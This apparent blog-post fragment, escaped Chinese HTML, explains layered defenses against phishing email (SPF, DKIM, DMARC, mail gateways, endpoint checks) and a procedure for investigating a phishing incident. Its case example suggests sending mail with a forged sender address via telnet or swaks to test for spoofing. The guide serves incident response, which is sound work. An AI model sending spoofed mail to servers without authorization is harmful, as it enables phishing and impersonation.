src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"536\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-136-1024x536.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-740\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u9493\u9c7c\u90ae\u4ef6\u4e09\u5c42\u9632\u62a4<\/h2>\n\n\n\n<p><strong>\u534f\u8bae\u5c42\uff1a<\/strong>\u5f00\u542fSPF\u6821\u9a8c\u673a\u5236\u3001\u5f00\u542fDKIM\u7b7e\u540d\u914d\u7f6e\u3001\u5f00\u542fDMARC\u8ba4\u8bc1\u534f\u8bae<br><strong>\u8bbe\u5907\u5c42\uff1a<\/strong>\u5b89\u5168\u90ae\u4ef6\u7f51\u5173\u3001\u4f7f\u7528\u89c4\u5219\u5e93\u7684\u6280\u672f\u3001\u9891\u7387\u68c0\u6d4b\u3001\u9ed1\u767d\u540d\u5355<br><strong>\u7ec8\u7aef\u5c42\u9762\uff1a<\/strong>\u90ae\u4ef6\u5934\u68c0\u67e5\u3001\u8d85\u94fe\u63a5\u771f\u5b9e\u6027\u68c0\u67e5\u3001\u90ae\u4ef6\u9644\u4ef6\u5185\u5bb9\u5b89\u5168\u6027\u68c0\u67e5\uff08\u4e91\u6c99\u7bb1\u3001\u9006\u5411\u5206\u6790\uff09\u3001\u8d2d\u5165EDR<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u9493\u9c7c\u90ae\u4ef6\u6392\u67e5\u6d41\u7a0b<\/h3>\n\n\n\n<p>\u521d\u6b65\u7814\u5224<br>\u5bf9\u90ae\u4ef6\u4e2d\u7684\u8df3\u8f6c\u94fe\u63a5\u8fdb\u884c\u7814\u5224\uff0c\u662f\u5426\u4e3a\u4eff\u5192\u7f51\u9875\uff0c\u8bf1\u9a97\u53d7\u5bb3\u8005\u70b9\u51fb\u3002\u5c06\u9493\u9c7c\u90ae\u4ef6\u9644\u4ef6\u6216\u8005\u662f\u90ae\u4ef6\u4e2d\u7684\u4e0b\u8f7d\u94fe\u63a5\u4e2d\u7684\u6587\u4ef6\uff0c\u4e0a\u4f20\u5230\u52a8\u6001\u5206\u6790\u6c99\u7bb1\u8fdb\u884c\u521d\u6b65\u7814\u5224<br>\u67e5\u770b\u88ab\u9493\u9c7c\u7684\u57df\u7684MX\u8bb0\u5f55\u786e\u8ba4\u90ae\u4ef6\u670d\u52a1\u7684\u63d0\u4f9b\u65b9\uff0c\u5e76\u7f09\u62ff\u67e5\u662f\u5426\u5b58\u5728\u5f02\u5e38\u914d\u7f6e\uff0c\u4f8b\u5982\u672a\u77e5\u670d\u52a1\u5668<br>\u67e5\u770b\u88ab\u9493\u9c7c\u7684\u57df\u7684TXT\u8bb0\u5f55\uff0cSPF\u3001DMIK\u3001DMARC\u8fd9\u4e9b\u5b89\u5168\u7b56\u7565\u90fd\u5b58\u50a8\u5728DNS\u7684TXT\u8bb0\u5f55\u4e2d\uff0c\u65e0TXT\u8bb0\u5f55\u8bf4\u660e\u6ca1\u6709\u76f8\u5e94\u7684\u5b89\u5168\u534f\u8bae<br>\u6d4b\u8bd5\u9a8c\u8bc1\u90ae\u4ef6\u670d\u52a1\u5668\u662f\u5426\u5b58\u5728\u53d1\u4ef6\u8eab\u4efd\u6821\u9a8c\u7f3a\u5931\u6216\u7b56\u7565\u914d\u7f6e\u5f53\u95ee\u9898\u3002\u65e0\u8eab\u4efd\u6821\u9a8c\u673a\u5236\u5c31\u53ef\u4ee5\u4f2a\u9020\uff0c\u7b56\u7565\u914d\u7f6e\u4e0d\u5f53\u767d\u540d\u5355\u653e\u884c\u7b49<br>\u56de\u5f52\u90ae\u4ef6\u539f\u6587\uff0c\u5206\u6790Received\u5b57\u6bb5\uff0c\u8ffd\u8e2a\u90ae\u4ef6\u4f20\u8f93\u8def\u5f84\uff0c\u6838\u5bf9\u90ae\u4ef6\u4f20\u8f93\u8def\u5f84\u4e2d\u5404\u8df3\u670d\u52a1\u5668\u7684\u57df\u540d\u4e0eIP\u662f\u5426\u5339\u914d\uff0c\u5224\u65ad\u662f\u5426\u5b58\u5728\u4f2a\u9020\u6216\u5f02\u5e38\u4e2d\u8f6c\u3002<br>\u7136\u540e\u5bf9\u90ae\u4ef6\u670d\u52a1\u5668\u7684\u65e5\u5fd7\u8fdb\u884c\u5206\u6790<br>\u6700\u540e\u68b3\u7406\u9493\u9c7c\u65b9\u5f0f\u3001\u76ee\u7684\u3001\u653b\u51fb\u8def\u5f84\u3001\u5371\u5bb3\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6392\u67e5\u6848\u4f8b<\/h3>\n\n\n\n<p>\u67d0\u516c\u53f8xxx.com\u88ab\u90ae\u4ef6\u9493\u9c7c\u4e86\uff0c\u73b0\u9700\u8981\u8fdb\u884c\u5165\u4fb5\u68c0\u6d4b\u6392\u67e5\uff1a<br>\u67e5\u770bxxx.com\u7684MX\u8bb0\u5f55\uff1anslookup -type=mx xxx.com<br>\u67e5\u770bxxx.com\u7684TXT\u8bb0\u5f55\uff1a\u82e5\u65e0TXT\u8bb0\u5f55\u5219\u5927\u6982\u7387\u5b58\u5728\u90ae\u4ef6\u4f2a\u9020\u98ce\u9669\uff08\uff09<br>\u4f7f\u7528 telnet \u6216 swaks \u5411\u76ee\u6807\u90ae\u4ef6\u670d\u52a1\u5668\u53d1\u9001\u4f2a\u9020\u53d1\u4ef6\u4eba\u5730\u5740\u7684\u90ae\u4ef6\uff1a\u82e5\u53ef\u4ee5\u6210\u529f\u53d1\u9001\uff0c\u5219\u8868\u793a\u5b58\u5728\u90ae\u4ef6\u4f2a\u9020\u3002<br>\u67e5\u770b\u9493\u9c7c\u90ae\u4ef6\u7684\u539f\u6587\uff1a\u901a\u8fc7\u5206\u6790\u90ae\u4ef6\u5934\u4e2d\u7684 Received \u5b57\u6bb5\uff0c\u8ffd\u8e2a\u90ae\u4ef6\u4f20\u8f93\u8def\u5f84\u5e76\u6838\u5bf9\u5404\u8df3\u670d\u52a1\u5668\u7684\u57df\u540d\u4e0e IP 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